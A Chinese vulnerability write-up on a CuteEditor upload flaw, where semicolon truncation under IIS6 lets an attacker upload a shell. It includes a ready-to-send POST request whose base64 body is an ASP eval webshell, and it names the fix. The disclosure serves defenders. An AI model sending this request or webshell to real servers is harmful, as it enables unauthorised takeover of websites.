CuteEditor对文件名某些字符过滤不当,在一定条件下可getshell。
漏洞 文件:CuteEditor/uploader.ashx,调用方法:
[CuteEditor]CuteEditor.UploadModule::HandleAddonUpload():bool
方法判断QueryString中的_Addon参数是否为空,并将_AddonGuid参数转换为GUID。
当_Addon为upload时,调用方法
[CuteEditor]CuteEditor.UploadModule.a(HttpContext, Guid):bool
此方法将上传的第一个文件以 uploading.GUID.上传文件名.resx 形式保存在~/UploaderTemp目录中。虽然.net不允许0x00截断,但在iis6下可以通过分号截断。
当_Addon为xhttp时,会将整个HTTP主体进行base64解码,之后以同样的方式进行保存。
于是在iis6下,可以提交以下请求getshell,guid不能和服务器上已有文件重复
POST /CuteSoft_Client/CuteEditor/uploader.ashx?_Addon=xhttp&_AddonGuid=e7d8104a-0ba6-4b47-8285-59d442e2b7d3&_PartialStart=0&_PartialFileName=1. asp ; HTTP/1.1 Host: XXXXXX Content-Length: 28 PCVldmFsIHJlcXVlc3QoImEiKSU+
本地测试:
修复方案:
向[CuteEditor]CuteEditor.b::f(string):string方法定义的非法字符列表中添加分号
查看更多关于CuteEditor脚本文件上传漏洞及修复 - 网站安全 - 自的详细内容...